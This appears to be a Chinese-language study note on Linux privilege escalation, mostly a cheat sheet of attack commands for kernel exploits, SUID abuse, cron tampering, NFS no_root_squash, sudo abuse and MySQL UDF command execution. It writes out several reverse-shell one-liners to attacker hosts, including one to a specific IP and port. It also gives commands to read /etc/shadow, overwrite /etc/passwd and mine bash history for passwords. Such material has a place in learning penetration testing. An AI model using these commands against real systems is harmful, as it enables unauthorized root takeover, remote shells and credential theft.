linux 权限提升
参考引用文章,引用以作学习之用。
提权学习之旅——Linux操作系统提权 - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/11664
# 注:
Linux一般拿到shell,权限基本都很低,而且在一些shell工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容),所以需要通过反弹shell拥有一个交互式的shell,也利于后续的提权利用。
bash -i >& /dev/tcp/ip/port 0>&1
内核漏洞提权 【dirtycow 脏牛提权】
# 查看linux 发行版本号
uname -a
searchsploit 2.6.32
根据查找到的漏洞,编译程序上传至待提权主机,进行提权
# 【Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。】
Linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
bash les.sh
suid 提权
GTFOBins(sudo滥用和SUID提权命令查询)https://gtfobins.github.io/
1. 原理
suid可以用于提权,是因为有些程序在执行时需要比普通用户更高的权限,例如passwd、ping、su等。这些程序通常由root用户或其他特权用户拥有,并设置了suid位,以便其他用户可以使用它们。如果这些程序存在漏洞或者被恶意修改,那么执行它们的用户就可能以root或其他特权用户的身份执行任意命令,从而实现提权。
2. 寻找和利用suid程序
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
-perm -u=s是一个选项,表示只匹配那些用户(u)权限中包含suid(s)位的文件。
2>/dev/null是一个重定向,表示将错误信息(2)输出到空设备(/dev/null)
3. 分析找到的suid程序,判断是否存在漏洞或者是否可以被滥用 【根据程序是否爆出本地提权漏洞 以及 历史利用情况进行判断】
4. 利用找到的漏洞或者滥用方法,执行提权命令
5. 常见的suid提权的程序或命令
nmap:nmap是一个端口扫描工具,如果它的版本在2.02-5.21之间,并且有suid权限,那么可以利用它的交互模式执行任意命令。具体步骤如下:
运行nmap --interactive进入交互模式
运行!sh或者其他命令获取shell
如果需要反弹shell,可以运行!bash -i >& /dev/tcp/攻击者IP/端口 0>&1
vim:vim是一个文本编辑器,如果它有suid权限,那么可以利用它的shell选项执行任意命令。具体步骤如下:
运行vim.tiny或者其他版本的vim
按下ESC键,输入:set shell=/bin/sh
输入:shell获取shell
find:find是一个查找文件的工具,如果它有suid权限,那么可以利用它的-exec选项执行任意命令。具体步骤如下:
运行find / -exec /bin/sh \;获取shell
如果需要反弹shell,可以运行find / -exec bash -i >& /dev/tcp/192.168.106.139/4450 0>&1 \;
less/more:less和more是两个查看文件内容的工具,如果它们有suid权限,那么可以利用它们的!选项执行任意命令。具体步骤如下:
运行less /etc/passwd或者more /etc/passwd
输入!/bin/sh或者其他命令获取shell
cp/mv:cp和mv是两个复制和移动文件的工具,如果它们有suid权限,那么可以利用它们覆盖一些敏感文件,例如/etc/passwd或者/etc/shadow。具体步骤如下:
创建一个新的passwd或者shadow文件,其中包含一个新的root用户和密码
运行cp 新文件 /etc/passwd或者mv 新文件 /etc/passwd
运行su 新用户获取root权限
6. 利用案例
https://github.com/luijait/PwnKit-Exploit
crontab 计划任务提权
1. 基础介绍:
crontab命令用来定期执行程序。
-e 编辑当前的crontab文件,默认保存在/var/spool/cron/用户名下
-r 删除目前的时程表
-l 列出目前的时程表
语法格式:
分 时 日 月 周 需要执行的命令
分:0~59
时:0~23
日:1~31
月:1~12
周:0~6 #0代表周日
*:(星号)代表取值范围中的每一个数字
-:(减号)连续区间表达式,想要代表1~7,则需要写成1-7
/:(斜杠)表示每x个。例如想在每10分钟执行一次,则在分的位置写:*/10
,:(逗号)表示多个取值。如果想在1点,3点,5点执行一次,则在时的位置写:1,3,5
*/2 * * * * echo `date` >> /tmp/stu01 表示每两分钟输出时间到/tmp/stu01文件。
/var/spool/cron/user 用来区分每个用户自己的执行计划
而 /etc/crontab 表示系统执行计划,需要在五个*后面加上用户
如编辑/etc/crontab 文件
如添加
*/1 * * * * root ls />> /tmp/cron
表示每分钟执行ls命令并输出到/tmp/cron 文件。
其余关于计划任务的文件
/etc/cron.deny 表示只拒绝哪些用户不能他用crontab,默认存在空文件
/etc/cron.allow 表示只允许哪些用户使用crontab
2. 漏洞产生原因
Crontab通常以root权限运行。如果可以成功篡改在定时任务执行的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码。
3. 漏洞利用
ls -l /etc/cron*
假如root用户配置不当,在/etc/crontab文件创建了一个计划任务。
4. 防范
crontab计划任务不要写到/etc/crontab文件里,而是通过crontab -e去创建,让他写到默认的/var/spool/cron下。
5. 实战
pspy是一种命令行工具,无需root权限即可监听进程。可以查看其他用户执行的命令、cron作业等。
该工具的下载地址:
https://github.com/DominicBreuker/pspy
首先将pspy上传到目标机器
1)chmod +x pspy64s
2)./pspy64
观察一段时间,发现test.py为root权限执行
通过此种方式,完成root权限执行的计划任务的初步排查。
如果 计划任务可修改,便可以写入任务进行提权,包括反弹shell和添加用户。
第三方组件漏洞提权
某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得root权限。
弱口令
root 账户弱口令爆破/passwd edit 增加用户/hash 爆破/密码复用【数据库或者web后台的密码就是root密码】
NFS 提权
1. 简介
NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。若运维人员未对文件访问进行控制,将导致本地文件可被任意读取。
2. 原理
当服务器中存在NFS共享,开启no_root_squash选项时,如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。
3. 利用
(1)查看NFS服务器上的共享目录
sudo showmount -e 10.1.1.233
(2)创建本地挂载目录,挂载共享目录。使用攻击者本地root权限创建Suid shell。
sudo mkdir -p /tmp/data
sudo mount -t ntfs -w 10.1.1.233:/nfs /tmp/data
cp /bin/bash /tmp/data/shell
chmod u+s /tmp/data/shell
(3)回到要提权的服务器上,使用普通用户使用-p参数来获取root权限。
历史记录提权
通过查看历史记录,查看是否有有用的信息,有的管理员为了方便登陆mysql或其他软件时,不经意间加上参数-p,从而将密码暴露出来或者一些.sh脚本连接mysql、vpn等,查看对应的配置文件即可拿到账号密码
cat ~/.bash_history
保存了当前用户使用过的历史命令
如果拿到数据库的账号密码,有可能就是root密码
配置错误引发提权
手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
检查了非常多的配置问题,而且还列出了所有的可写文件,如果找到有配置问题的便可以进行提权操作。
sudo滥用
/etc/sudoers文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证
sudo -l #查看当前用户可以sudo的程序
AWK:
sudo awk 'BEGIN {system("/bin/sh")}'
#通过生成交互式系统外Shell来脱离受限环境,需要普通用户的密码
CURL:
sudo curl file:///etc/shadow
udf 提权
利用前提
1. root权限(需要创建和删除自定义函数)
2. mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);
注:
show variables like '%secure%';查看 secure-file-priv 当前的值是什么。
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
使用 udf 分为三个步骤:
1. 把含自定义函数(如执行系统命令函数 sys_eval )的 dll 文件放入特定文件夹下
2. 声明引入这个dll文件中的自定义函数
3. 使用自定义的函数
select @@version; 查看mysql 版本
若mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:\windows\system32 目录,在 win2000下放置在 c:\winnt\system32 目录
若mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 lib\plugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 lib\plugin 文件夹,然后将 udf.dll 文件导出到该目录)
在上传udf.dll 文件后
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
# 引用后便可以直接使用
select sys_eval('cmd command');